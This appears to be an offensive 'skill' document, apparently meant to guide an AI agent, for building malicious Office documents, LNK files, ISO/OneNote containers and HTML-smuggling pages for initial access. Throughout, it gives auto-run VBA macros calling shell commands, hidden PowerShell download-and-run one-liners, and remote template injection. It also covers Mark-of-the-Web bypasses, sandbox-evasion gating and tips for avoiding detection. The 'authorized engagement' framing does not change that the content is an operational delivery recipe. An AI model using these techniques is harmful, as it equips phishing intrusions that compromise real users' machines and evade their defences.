Maldoc Initial Access

Maldoc initial access

Use this skill when building document-based delivery for an authorized engagement: choosing the container format, constructing the lure, embedding the stage-1 payload, and predicting how the file behaves under email gateways, sandbox detonation, and endpoint policy. Route payload/stage-2 engineering to c2-implant-engineering, delivery-chain planning and C2 infrastructure to attack-chain, and macro exploit CVEs (not construction) to offensive-exploit-development.

When to use

• Engagement needs a document lure that executes stage-1 on open/preview.
• You must reason about MOTW: which container types propagate the Zone.Identifier and which strip it (ISO/IMG/OneNote differences decide the bypass).
• Gateway/sandbox evasion shapes the build: emulator-visible artifacts must be minimized or gated.
• You need a reproducible build pipeline (generator script) rather than one-off handcrafted files.

Core workflow

1. Pick the container by target reality, not preference

Decision order: what does the target open by default → what policy gates exist (macro policy, MOTW enforcement, OneNote availability) → what telemetry the detonation stack produces. Modern default: ISO/IMG-wrapped LNK or OneNote over plain macro documents because Office macro blocking (Mark-of-the-Web) has made direct macro docs unreliable.

2. VBA macro construction

• Auto-run trigrams: AutoOpen (Word), Workbook_Open (Excel), Document_Open — plus Auto_Close for delayed actions. Auto_Open/AutoOpen differ by host; define both.
• Shell execution chain: CreateObject("WScript.Shell").Run / Shell "cmd ...", vbHide; obfuscate strings with ChrW() concatenation or xor-decode at runtime — but every obfuscation layer is also an emulator signature; prefer minimal, believable lure text over heavy packing.
• Template injection: .docx with word/_rels/document.xml.rels pointing Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" at a remote .dotm hosting the macro — the docx itself stays clean.
• Project signing (vbaProject.bin signature) mutes some "unsigned macro" warnings; a self-generated cert chains only in trust you control — record it as a lab-only technique, do not expect enterprise trust.
• Build programmatically: generate with python-docx/oletools-adjacent tooling or modify a saved template — never hand-edit the OLE container by hand; validate output with olevba from oletools every time.

3. LNK generation

• LNK is the reliable executor inside containers: powershell.exe -w hidden -ep bypass -c <dlcrun> or wscript.exe container.js; arguments live in StringData — build with a generator (e.g. pylnk/LNK construction script), set IconLocation to %SystemRoot%\System32\SHELL32.dll,<idx> matching the lure (PDF icon index 70-ish, folder, etc.) and a benign NameString.
• Keep argument length under ~260 visible chars where the preview truncates; stage longer logic by downloading (IEX(New-Object Net.WebClient).DownloadString('http://...') — classic but loudly signatured; prefer staged D/Invoke or a one-byte-modified variant per engagement).

4. ISO/IMG/OneNote containers

• ISO (and IMG/VHD) kills MOTW: the mounted volume's files never receive Zone.Identifier, so SmartScreen and macro-blocking that key on MOTW never fire. Build ISO with oscdimg, genisoimage, or mkisofs; keep total size under email gateway caps or deliver via link.
• OneNote: insert embedded file (the LNK/payload) + a "double-click to view" image prompt; the embedded-file body lives in onetoc2-adjacent binary — build by scripting OneNote or editing a template notebook; test the exact OneNote version — Microsoft has been stripping this path and behavior is build-pinned.
• Nesting order that survives default policy: email → ISO → LNK → stager. Verify each hop on a clean VM of the target's build before delivery.

5. HTML smuggling

• JS constructs the payload client-side: const blob = new Blob([atob('<b64>')], {type:'application/octet-stream'}), URL.createObjectURL(blob), auto-<a download> click. The gateway/base64 inspection sees a .html with a string; only the browser materializes the EXE/ISO.
• Serve with plausible mime + filename; size limits apply; SMUGGLING only delivers — execution still needs the user run + any MOTW from browser download (browsers DO write Zone.Identifier on save — the ISO-wrapped content still strips it inside).

6. MOTW mechanics (the load-bearing detail)

Zone.Identifier ADS (ZoneId=3 for internet) is written by: browsers on save, email clients on extract, and inherited by extracted children. It is NOT written for: files read out of a mounted ISO/IMG/VHD, files inside OneNote embeds extracted by older builds, and some archive-tool extractions. Every "why did this bypass work" question reduces to: who wrote the Zone.Identifier and who read it. Verify per hop: Get-Item -Stream Zone.Identifier or notepad file:Zone.Identifier.

7. Evasion heuristics and detonation awareness

• Emulators stop at: recent-process sleeps (Start-Sleep heuristics), large memory allocations, user-interaction prompts, count of loop iterations. Gate execution behind Environ("COMPUTERNAME")/uptime/Application.UserInitials checks that read naturally, not If IsSandbvzh().
• Macro visibility: Get-WinEvent Microsoft-Office/Alerts on a check host shows what AMSI surfaced from VBA — assume AMSI scans WScript.Shell strings and design stage-1 as a downloader whose strings are inert.
• Expect detonation: any delivery you send WILL be opened in a sandbox. Make stage-1 environment-gated, single-use URLs, and assume the URL/domain is burned after first detonation.

Key structures & interfaces

• OLE CFB container (\Word\VBA_Project, \vbaProject.bin streams) — inspect with olevba, oleid, oleobj (oletools).
• OOXML rels (word/_rels/*.rels) — template injection target.
• LNK ShellLinkHeader + StringData/ExtraData blocks — icon path, args, working dir.
• Zone.Identifier ADS — ZoneId=3 internet marker; the policy key everything hangs on.
• HTML5 Blob/URL.createObjectURL — smuggling primitives.

Tooling

oletools (olevba, oleid, msodde), oscdimg/genisoimage/mkisofs, pylnk-class generators, python-docx, OneNote template editor, Get-Item -Stream / streams.exe, a clean target-build VM with Sysmon + Microsoft-Office/Alerts log for self-detonation before delivery.

Pitfalls & OPSEC

• Never deliver unvalidated builds: detonate on a VM matching the target build (Office version, OneNote version, macro policy) and capture what telemetry fired (Sysmon Event 1 with hash, Office AMSI alerts) before it goes out.
• Container abuse is build-pinned: OneNote embed behavior and ISO auto-mount change with Windows builds — re-verify per engagement, record build IDs.
• LNK arguments are fully visible to EDR process telemetry — the LNK is the loudest hop; keep it a pure downloader.
• Assume domains/URLs embedded in any document are burned on first detonation; stage via one-time links.
• The signature line is real: every technique here is detection-driven; measure (Sysmon + gateway logs) what each variant produced in your own detonation and pick the quietest, do not assume.

Routing

• Stage-2 payload, sleep obfuscation, in-memory execution: c2-implant-engineering.
• Full delivery chain / infrastructure / phish pretexts: attack-chain.
• Document format exploit CVEs (RTF/Equation, etc.): offensive-exploit-development.
• Runtime analysis of the sample you built: malware-analysis tooling applies to your own artifacts.
• Macro AV/AMSI evasion internals: edr-bypass-re.